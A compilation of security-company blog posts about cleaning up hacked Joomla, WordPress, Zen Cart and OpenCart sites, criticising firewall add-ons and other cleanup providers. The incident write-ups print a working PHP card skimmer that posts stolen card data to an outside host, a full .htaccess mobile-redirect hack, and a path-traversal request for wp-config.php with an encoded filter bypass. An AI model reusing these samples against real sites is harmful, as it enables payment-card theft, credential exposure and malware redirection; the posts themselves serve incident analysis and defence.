Joomla Firewalls Are Not a Replacement For Properly Cleaning Up a Hacked Website

When it comes to the security of websites what we often see is that a lot of focus is add-on security products instead of focusing on doing the basics. The reality is doing the basics is going to do a lot more to protect you than any security products. As an example, over at our Plugin Vulnerabilities service we recently tested 11 WordPress security plugin against a very exploitable vulnerability in a plugin and found that only 2 of the plugins provided any protection and for those two we easily found a way to bypass them. By comparison, simply updating the plugin after the vulnerability was fixed would protect you from the vulnerability.

This type of wisdom recently came up in the context of a hacked Joomla website we brought in to clean up. We were originally contacted by someone involved with the website about the following warning they were receiving on the website from Chrome warning that “The site ahead contains malware”:

This site ahead contains malware

The warning referred to another website, so they were not sure if it was due to their website being hacked or if maybe the other website was hosted on the same server and being on the same server was causing the warning. The reason the warning mentioned another website was that it was a cross-site warning, which is shown when content is loaded from another website that is being flagged by Google for malware. In this case it was caused by the following malicious JavaScript code that was being included on the website’s pages:

malicious-javascript-code

We explained them what was going on (if you have a question related to a possible hacked website we are always available for free consultation to discuss it) and then we were brought in to clean up the website.

The JavaScript code shown before was easy to find because it stored in the index.php of the various templates on the website, without any obfuscation.

One of the next steps in the cleanup was determining how the code got on the website. While determining how a website is hacked is one of three important pieces of a proper hack cleanup, many, maybe most, companies doing hack cleanups don’t do this. Not to surprisingly the website where that doesn’t happen often get hacked again, and we are often brought in at that point to re-clean it.

What looked to be the cause of the malicious JavaScript code being added to the template files was a POST request to the file /libraries/fof/integration/joomla/general24.php. While that directory is one for core Joomla files, that file isn’t. Instead it was file a hacker had placed on the website at some point before, based on the last modified date it would appear it was placed there three months before. The logging doesn’t go back that far so we were unable to see how that file had been added to the website.

That was not the only malicious file on the website. One of the easiest to spot was one in the root directory of the installation, due to the filename, ee79bb.php, not being something you would expect to see there. There were also several malicious files that had been renamed so that could be executed. At that point we found out that website had been hacked before, but it not been cleaned in a professional manner before.

Firewall Extensions Didn’t Stop The Hacking

While the website had not been fully cleaned before, two firewalls had been added, RSFirewall! and the firewall that is part of Admin Tools. Neither of those protected against the request sent to the general24.php file or based on their logging look to have had any impact as a number of other malicious look to have been added on the website over a period of months. That isn’t necessarily their fault, as once a hacker has some access it is much harder to detect that the requests are malicious in nature, but it is a reminder that security add-ons are not a replacement for proper security practices.

It is worth noting that with both RSFirewall! and the firewall that is part of Admin Tools, bold claims are made to their security capability with being backed up by and evidence. For RSFirewall! is describe thusly:

RSFirewall! is the most advanced Joomla! security service that you can use to protect your Joomla! website from intrusions and hacker attacks. RSFirewall! is backed up by a team of experts that are trained to be always up to date with the latest known vulnerabilities and security updates.

Nowhere is there anything that actually backs up those claims. Also troubling is the fact that it boasts protection against brute force attacks, despite those not actually happening.

Admin Tools firewall is describe in somewhat less bold way:

Our Web Application Firewall protects your site against the vast majority of common attacks. You won’t find any security tool more feature-complete than this.

But again, nowhere is there anything that actually backs up those claims.

GoDaddy and SiteLock Make a Mess of a Hack Cleanup (And Drop The Ball on Security As Well)

In the complaints about the web security company SiteLock we have seen, one of the things that comes up frequently is the widely variable and often times excessive prices for their services. In some cases the pricing would be within reason if you were getting a high quality service, but as we found while helping to fix a website after SiteLock did a malware removal on it few days ago, you get the opposite of that from them.

This incident involved one of SiteLock’s partner web host, though not one the ones run by the owners of SiteLock. Instead it is GoDaddy, for which we found a couple of security issues on their end while looking into this as well.

What happened in this cases is that SiteLock through GoDaddy was hired to clean up malware on the website. Afterwards though the website was screwed up, with the styling gone and shortcodes showing up on the pages (instead of being processed). GoDaddy told the website’s owner that they would need to have someone update WordPress and re-install the theme they used.

None of this made a whole lot of sense. After removing malware or doing some other cleanup the website should appear as it did before. The theme shouldn’t be missing, unless it had been completely replaced with malicious code (which we have never seen happen). Also a part of a proper cleanup is making the website secure as possible, which would, in part ,involve updating the software on the website.

When we got in to the WordPress admin area to look over things we found that theme actually was still there, but wasn’t activated. The only reason we could think for changing to another theme would be to check if the theme being used was causing the malware to be served up, but after that checking was finished it should be reactivated.

We also found that all of the plugins were deactivated, the same explanation as the theme might explain them being deactivated. But again they should have been reactivated if that was the case. This was more problematic to deal with since we didn’t know which, if any, of the plugins were not active before the cleanup and did not need to be re-activated.

Not only did WordPress still need to be updated, but so did the plugins and themes.

Once we got a handle of those things we were able to bring the website back to working order, but further looking showed that items added by the hacker still existed (and would have allowed them continued wide access to the website) and the vulnerability that could have allowed the hacker access to begin with still existed on the website, so the hacker could have easily gotten back in.

Malicious Administrators and a Vulnerable Plugin

When cleaning up a hacked WordPress website one of thing you want to check for is the existence of users that should not exists, with an emphasis on users with Administrator role, since they have wide ranging access. Sometimes those added accounts are rather obvious, in the case of this website a couple had the email adress “backup@wordpress.org”. While seemly intended to look innocuous, there shouldn’t be any account with email addresses from wordpress.org on a website. Either SiteLock did not spot those or didn’t even do any check for that.

Looking at the details of the users in the database would tell you something more about this. In the following screenshot you can see that for the two account with the “backup@wordpress.org” and one other have the user_registered field not filled in (the others listed there have dates from before the website existed and before the original account on the website was created):

malicious-wordpress-administrators-in-database

 

That indicates that the accounts were not created through the normal process in WordPress. One other way to do that is with direct access to the database.

That brings us to another thing that SiteLock missed, one the installed plugins, Revolution Slider, had an arbitrary file viewing vulnerability in the version of the plugin installed (you can check if a website is using a vulnerable version of that and if other plugins have vulnerabilities hackers are targeting using our Plugin Vulnerabilities plugin). Hackers frequently target that type of vulnerability to try to view the contents of WordPress configuration file, wp-config.php. That file contains database credentials for the website, so accessing that could allow a hacker access to the database, which they could then use to add new users.

GoDaddy’s Security Failings

We then went to check to see if the vulnerability was in fact exploitable on the website and we found that connection was dropping when we made the request to exploit it, which looked to be GoDaddy blocking the request. Unfortunately their protection is incredibly easy to evade.

The original request we made was the following, which was stopped:

/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

This request was not stopped:

/wp-admin/admin-ajax.php?action=revslider_show_image&img=..%2Fwp-config.php

The only change was that the “/” right before “wp-config.php” has been encoded, changing it to “%2”.

The fragility of such protection seems to pretty common, as earlier this week we found that two WordPress security plugins protection against another vulnerability could bypassed by simply adding and “\” in the right location (the 9 other WordPress security plugins we tested provided no protection).

Remote Database Access

Even if a hacker gets the database credentials by exploiting an arbitrary file viewing vulnerability they still need some method to access the database. In the case of the database for the website remote access is permitted, which allows someone to connect to the database from outside of GoDaddy’s systems. That type of access makes it really easy for a hacker, so it should be disabled by default.

In looking how we could disable remote access to the database, we found that based on their documentation it shouldn’t have even been enabled. The documentation says that you need to enable direct access when creating a database for to connect remotely:

Connecting remotely to a database lets you manage it using tools like MySQL Query Browser,MySQL Workbench, or Microsoft SQL Server Management Studio Express.

If you want to connect remotely to a database, you must enable Direct Database Access when setting it up1 — you cannot enable it later.

But the database in question is listed as not allowing direct access:

godaddy-database-details

So something isn’t right.

If we didn’t know what SiteLock was up to at this point we would be asking why they had not noticed those problems with the partner GoDaddy’s security and gotten them to fix them, but knowing what they are doing it isn’t surprising they wouldn’t have done that. If anything getting their partners to improve their security would mean less money for them and less money for the partners as well.

If you want a hacked WordPress website cleaned up properly, we are always available to help.

Its Not Hard To Find The Source of a Credit Card Compromise in Zen Cart If You Know What You Are Doing

When it comes to dealing with hacked websites there are lots of people who feel it is appropriate for them to do that work without seeming to have any of the expertise needed to be able to properly do the work. We often see the end result of that when we are brought in to re-clean hacked websites after somebody else did it and then the website got re-hacked. We usually find that the original people doing the cleanup didn’t even attempt to do central parts of the cleanup (like determining how the website was hacked). The lack of expertise also showed up recently we were contacted about a Zen Cart based website where credit card information was seeming to be compromised on the website, as fraudulent charges were being made to credit card accounts after they were used on the website.

When we were contacted about this we were confused by a question raised, which was if we charge if were not able to find the vulnerability. Why would someone charge if they were not able to complete the work? In answering that, we were told that other people had looked into this and had not been to identify the problem. That seemed odd to us, since we have never had a problem finding the source of a credit card breaches in the past. The fact that the people that couldn’t find it were then recommending resolving the by upgrading Zen Cart, seemed to point the not knowing what they are doing at all (since upgrading the software on a website is not the proper way to clean up a hacked website). But maybe the code that was compromising the credit card information was well hidden?

One of the easiest thing to do when looking for malicious code on a website is to compare the contents of its files to a freshly downloaded copy of the software being used on it. When we did that with this website we found that one of the files modified from its original form was /languages/english/checkout_confirmation.php. Based on the file’s name that would seem to be possible location where the code to compromise credit card information might be. The modification involved the following code having been appended to the file:

$data1 = $_POST['paypalwpp_cc_firstname'];
$data2 = $_POST['paypalwpp_cc_lastname'];
$data3 = $order->billing['street_address'];
$data4 = '';
$data5 = $order->billing['city'];
$data6 = $order->billing['state'];
$data7 = $order->delivery['postcode'];
$data8 = $order->billing['country']['iso_code_2'];
$data9 = $order->customer['telephone'];
$data10 = $_POST['paypalwpp_cc_number'];
$data11 = $_POST['paypalwpp_cc_expires_month'];
$data12 = $_POST['paypalwpp_cc_expires_year'];
$data13 = $_POST['paypalwpp_cc_checkcode'];
$data14 = ''; // credit card owner
$data15 = "[redacted domain name]";
$data16 = $order->customer['email_address'];
$data17 = ''; // county
$post77 = "firstname=".($data1)."&lastname=".($data2)."&street1=".($data3)."&street2=".($data4)."&city=".($data5)."&state=".($data6)."&zip=".($data7)."&country=".($data8)."&phonenumber=".($data9)."&ccnumber=".($data10)."&expmonth=".($data11)."&expyear=".($data12)."&cvv=".($data13)."&comment1=".$data14."&comment2=".$data15."&email=".($data16)."&county=".($data17);
$url = "http://magecard.xyz/add";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url); // set url to post to
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_TIMEOUT, 60); // times out after 4s
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post77);
$result = curl_exec($ch); // run the whole process
curl_close($ch);

Even if you not an all that familiar with PHP code it is pretty obvious that this code has something to do with credit card information. Combine that with the fact that that code is so different that legitimate code in the file, which involves defining the language to be used on the checkout confirmation page:

define('NAVBAR_TITLE_1', 'Checkout');
define('NAVBAR_TITLE_2', 'Confirmation');

define('HEADING_TITLE', 'Step 3 of 3 - Order Confirmation');

define('HEADING_BILLING_ADDRESS', 'Billing/Payment Information');
define('HEADING_DELIVERY_ADDRESS', 'Delivery/Shipping Information');
define('HEADING_SHIPPING_METHOD', 'Shipping Method:');
define('HEADING_PAYMENT_METHOD', 'Payment Method:');
define('HEADING_PRODUCTS', 'Shopping Cart Contents');
define('HEADING_TAX', 'Tax');
define('HEADING_ORDER_COMMENTS', 'Special Instructions or Order Comments');
// no comments entered
define('NO_COMMENTS_TEXT', 'None');
define('TITLE_CONTINUE_CHECKOUT_PROCEDURE', '<strong>Final Step</strong>');
define('TEXT_CONTINUE_CHECKOUT_PROCEDURE', '- continue to confirm your order. Thank you!');

define('OUT_OF_STOCK_CAN_CHECKOUT', 'Products marked with ' . STOCK_MARK_PRODUCT_OUT_OF_STOCK . ' are out of stock.<br />Items not in stock will be placed on backorder.');

It is hard to see how this could have been missed unless the people trying to find it had no business getting involved in working on something like this.

As to the what allow the code to be added to the website, we were only able to track it back to a Russian IP address that looked to have already gained some level of access to the website. As they were able to login in to the Zen Cart backend and look to have been able to read and write to files on the website.

Your Web Developer Might Not Be the Best Person to Handle Cleaning Up a Hack of Your Website

When it comes to cleaning up hacked websites, the reality is that a lot of the companies that offer to do that don’t know how to do it properly or are intentionally cutting corners. We know this because we are often hired to re-clean hacked website after they get re-hacked and the first thing we always ask when somebody mentions that they perviously had someone else try to clean it, is if the previous company was able to determine how the website was hacked. Trying to determine how the website was hacked is one of the three main components of a proper hack cleanup, so the answer to that question should always be that they were or the reason that they were unable to determine how it was hacked (which is often the case due to poor log archiving practices at many web hosts). In almost all cases the response we get back is some variation of of that the issue of how the website was hacked was never even brought up by the cleanup company. When companies are not doing basic parts of the cleanup it really isn’t all that  surprising that the website doesn’t get fully fixed and it needs to be re-cleaned.

Since it is hard to for someone to determine whether a company they don’t have prior experience with is on the level or if they will make claims that about what they do and their level of expertise (as so many companies offering to clean up hacked website seem to do) working with a web developer or similar person you already have a relationship would seem to be a fairly good idea. The reality is that it can lead to poor handling of a hack cleanup, so you should at least get a second opinion on what to do, if you are considering having them handle it.

A recent example of them handling that in a less that ideal way involves a situation we were contacted about recently. A web developer contacted us about the possibility of us doing an upgrade of a Joomla 1.0 installation on a customer’s business website ASAP. When we went to take a look at the website we noticed it was serving up malware and was being blocked by Google. At that point we suggested that the website be cleaned and then seeing as moving from Joomla 1.0 is major migration, to then take their time doing the migration instead of rushing it. At that point they replied that they were aware that the website was hacked and that moving to the new version was their solution.

Doing an upgrade or migration usually not a good way to try to deal with a hacked website, since that may not remove much, if any, of the malicious items added by the hacker and the hack may be unrelated to the software being changed, so the website may just as vulnerable to exploitation after doing the upgrade or migration. For a major upgrade or migration it is also going to takes longer then a hack cleanup and it you rush that there could be even more problems that need to be dealt with down the road. In this case, when we went to see if things had been resolved a week later, the website was still hacked and had not been moved to a newer version, whereas with a hack cleanup things can usually be resolved in a matter of hours, so the business had lost at least a weeks worth of business brought in by their website.

Also concerning to us in this case was the fact that the web developer had said they wanted to move to Joomla 2.5 or Joomla 3, despite the fact that support for that version had ended back in December of 2014.

Your Website Probably Wasn’t Hacked Through A Backdoor

When it comes to dealing with hacked websites our experience is that information coming from web hosts often isn’t great. When you consider how terrible many security companies dealing with websites are, it isn’t very surprising that companies that don’t claim that expertise would be bad as well.

Last week over on the blog for our Plugin Vulnerabilities service we discussed one issue that comes up from time to time, which is web hosts claiming that the source of a hack is whatever software that happens to be located where a hacker placed a malicious file. Often times the hacker just randomly place their malicious files, making the location of the file a weak piece of evidence as to the source of the hack in most cases.

Another recent example of this involved someone who contacted about a website that was hacked, cleaned, and then was getting re-infected everyday. In that situation our first question is always if the person that cleaned up the website determine how it was hacked. Seeing as someone doing a cleanup should attempt to determine how a website was hacked, that will tell you if the person doing the cleanup was doing things properly (the response almost always indicates they haven’t). It also important since the re-hacking could indicate that the security vulnerability that allowed the website has not been fixed and knowing what was believed was the cause would provide a better understanding of the situation.

In this case they said that there web host had been hacked through a backdoor (apparently the person that did the cleanup did not determine how the website was hacked). For those not familiar a backdoor would be code that allows a hacker remote access to the website internals. In most cases a backdoor could not be source of a hack since the backdoor would have to have gotten on the website. Usually the hacker will exploit a vulnerability to allow them to place a backdoor on a website and then use the backdoor to perform further actions on the website, so the backdoor isn’t the source of the hacking, only a result of it.

The main exception to this is that occasionally a malicious individual will be able to plant a backdoor into non-malicious code, say sneaking it in to an otherwise legitimate WordPress plugin in the Plugin Directory. That is by no means a common occurrence though.

If your web host or someone else is telling you your website was hacked through a backdoor, you should ask them how it got there to understand if they are correct about the source of if they failed to understand the actual source.

It Appears That FTP Login Credentials Provided To Cart2Cart Were Compromised

When dealing with hacked websites one of the important parts of the process is to determine how the website was hacked. If that isn’t it done the vulnerability that was exploited is more likely to remain open and be exploited again. Amazingly many companies that do hack cleanups don’t do that (which frequently leads to us being hired to re-clean hacked websites).

While dealing with one such case recently we came across evidence that company Cart2Cart was compromised at some point leading to a hacker gaining access to FTP login credentials for websites that were provided to Cart2Cart.

The hacking case we were dealing with was rather serious, as the breach first lead to thousands of dollars of decline fees with a payment processor and then later after that issue was resolved the breach lead to the compromise of credit card credentials used on the website (which is a good reminder of why figuring how the website was hacked and closing the vulnerability in the beginning is so important).

One of the places that is checked when working to determine the source of the hack is the log of FTP activity. For this particular website one of the things we first noticed while looking over that was that there had been access from IP addresses in the Netherlands

Tue Jun 09 05:45:57 2015 0 37.48.80.118 3326 /home4/[redacted]/public_html/oc_1/bridge2cart/config.php a _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:24 2015 8 37.48.80.118 911360 /home4/[redacted]/public_html/oc_1/download/XLS-BACKUP-01-01-2014_15-32.xls b _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:50 2015 1 37.48.80.118 81817 /home4/[redacted]/public_html/oc_1/sql.php a _ i r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:52:08 2015 0 37.48.80.118 1296 /home4/[redacted]/public_html/oc_1/config.php a _ o r c2c@[redacted].com ftp 1 * c

and Russia

Thu Jul 16 11:22:17 2015 2 46.72.126.220 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:24:50 2015 0 46.72.126.220 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:26:35 2015 2 46.72.126.220 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:22 2015 0 46.72.126.220 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:27 2015 0 46.72.126.220 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:29:59 2015 0 46.72.126.220 9761 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:38:00 2015 0 46.72.126.220 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c

during the summer. Since the website is US based that is usually a strong indication that the FTP login credentials have been compromised. Though it can sometimes be due to someone traveling or use of a foreign service provider. In this case we thought at first it might be the latter because the FTP account was one that looked to have been created especially for the service provided Cart2Cart. Checking with the client we found that it was indeed set up for them, but that their use of Cart2Cart ended more than a year ago.

At this point we had a pretty good idea based on what was in the FTP log that a FTP account had been compromised, but without knowing how it got compromised we couldn’t be sure how to prevent that from happening again or if other logins were also compromised as well. So what was the source of the compromise?

When we did a search on the Russian IP address, 46.72.126.220, we came across a forum thread from January that described a very similar situation. In that case a FTP account that was “created expressly for [Cart2Cart], no other reason” was making unauthorized changes to the website’s payment module when Cart2Cart should no longer have been accessing it. The only major difference between the two cases is that we were dealing with an OpenCart based website while in the other case it was a PrestaShop based website.

In the thread someone from Cart2Cart responded:

As far as I can see from your screenshots, IP address 46.72.126.220 doesn’t belong to Cart2Cart.

The chances that two FTP accounts created especially for use by Cart2Cart were compromised with malicious access coming from the same IP address and the source of the compromise of these logins not being on Cart2Cart’s end seem to be incredibly small. Since they seem to be a legitimate service provided we don’t believe that they were involved in the hacking themselves, so that leaves us to believe that they must have been compromised at some point.

Their lack of concern in that thread that they might have been compromised doesn’t really jibe with the claim on their website that:

We have taken every precaution to ensure that our systems which store access information is highly secure.

It is also worth noting that the first malicious FTP access to the website we were dealing with, as shown in the FTP log, was two months after the time that forum thread was active.

If you have used Cart2Cart in the past, now would be a good time to make sure you have changed any password you provided them and probably make additional checks of your logs and files to make sure you have not been compromised as well.

Behind the Scenes of a Hack That Causes a Website to Redirect on Mobile Devices

When hackers hack websites they generally try to do things in a way that won’t be easily spotted by the webmaster. Two ways of doing that have long been popular have been to serve up different content when the websites pages are requested by crawlers for search engines (cloaking) and redirecting the website to another location when accessed through a search engine. Recently we have been having an increasing number of people come to us to get their websites cleaned up after their website starts being redirected to a malicious website when accessed from a mobile device.

This redirection can occur on the server side or on the client side. On the server side it would usually be caused malicious code added somewhere in the code that generates the website’s pages or by code added to a .htaccess file. On the client side it would usually be caused by malicious JavaScript code being added to the page or one of the JavaScript files loaded with the page.

Let’s take a look at the code added in one recent .htaccess based incident we cleaned up to get a better idea of what is going on behind the scenes with this type of hack.

First the code turns on Apache’s mod_rewrite module to allow the rest of the code to function.

RewriteEngine on

Next up is the code for detecting that requests is coming from mobile device, which you can see the code is fairly extensive. It starts with some obvious targets, looking for requests where the user agent given includes a mention of popular mobile device software and hardware like Android, BlackBerry, and iPhone. It then checks for a fairly long list of other devices, including what looks to be references for more obscure devices like the Bird D736 and Spice S-940.

RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR]
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]

Next the code stops the redirection from occurring if the requests are identified as coming from a variety of other sources, including search engine crawlers and PlayStation devices.

RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]

Finally the code that causes the redirection, in this case the website is redirected to cloud-security.ru when accessed from mobile devices.

RewriteRule ^(.*)$ http://cloud-security.ru [L,R=302]

Detecting Server Side Redirects

For server side redirects we have put together a small tool that shows if a given web page redirects when accessed by a mobile device, which should make it easier to troubleshoot that type of situation.

The Cause of The Hack

Since a mobile redirection can be done in a variety ways, there isn’t one thing that would allow this type of hack to occur. With the above code added to the .htaccess we determined it had been caused by a security vulnerability in an outdated WordPress plugin (a good reminder to make sure you keep all of the software on your website up to date). If you are dealing with a hack with this type of redirection it is important to review the logs and other evidence available to try to determine how the hack occurred, so you can be sure the vulnerability has been fixed and the website doesn’t get re-hacked. You should also make sure you are taking the other important security precautions going forward.

Most Website Hackers Are Not Sophisticated

One thing that we see fairly frequently with Internet security companies is that they try to sell their largely unneeded, and usually largely ineffective, security products and services by portraying websites as under constant threat from sophisticated hackers.  The reality is that while few hackers are quite sophisticated, most hackers only have rudimentary skills and basic security measures will prevent your website from being hacked. As an example of what you are dealing with in most cases let’s take a look at someone’s claim on ZONE-H – a website for displaying defaced websites – that they had hacked our website last week. Since that page is supposed to be removed once the claimed defacement is reviewed, here is a screenshot of it:

zone-h-whitefirdesign-com-screenshot

What you can see with that is that the mirror copy of our website shown from the time of the claimed defacement doesn’t actually show that the website has been hacked. Instead it shows that if you request a page on our website that doesn’t exist you will get a message that it doesn’t exist. Why someone would try to pass that off as defaced/hacked website is unclear to us.

Based on the URL of the supposed defaced page, http://www.whitefirdesign.com/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css, what they were trying to exploit was a vulnerability in a WordPress plugin that a) we don’t even use, so there is no chance it could be exploited and b) if we did use it and had the vulnerable outdated version installed they would have needed to try to exploit it from where WordPress is actually installed on our website, which isn’t the root directory of the website as they tried (this could be easily checked on, which again shows the lack of sophistication that usually exists).

Lessons from the FancyBox for WordPress Plugin Vulnerability

Last week a vulnerability in the WordPress plugin Fancybox for WordPress was exploited causing many websites to serve malware. A week later we thought it would be a good time to look at what went wrong and what lessons can be taken from the incident to hopefully improve WordPress plugin security going forward.

WordPress Plugin Security is in Bad Shape

When we started to look in to this, what we were most interested to see was what was the underlying vulnerability that allowed the websites to be hacked. Was it some obscure corner case that allowed a hacker access they shouldn’t have or was it some very fundamental failure? Since the developer stated they fixed the vulnerability in version 3.0.3 looking at the changes in that version was the starting place for understanding that. What the changes made show is that anyone could change the plugin’s settings. By anyone we truly me anyone, you didn’t have to be logged in to WordPress to change the settings. This wasn’t the intention of the developer, as can be see by the fact that only logged in users who are Administrators can access the plugin’s settings page.

The problematic code is the code for saving the settings, which did not check to make sure that the settings change came from the setting’s page. In 3.0.2 the code simply checked if a request for a setting updates was sent and then went on to save the settings:

if ( isset($_REQUEST[‘action’]) && ‘update’ == $_REQUEST[‘action’] ) {

The changed code in 3.0.3 checks to see where the request came from as well:

if ( isset($_REQUEST[‘action’]) && ‘reset’ == $_REQUEST[‘action’] && check_admin_referer( ‘mfbfw-options-options’ ) ) {

In many cases being able to change a plugin’s settings would not allow it to be used to serve malware. What allowed it in this cases is that the plugin has settings that allow additional code to be added to pages in which FancyBox for WordPress is present:

Fancybox for WordPress Extra Calls Settings Page

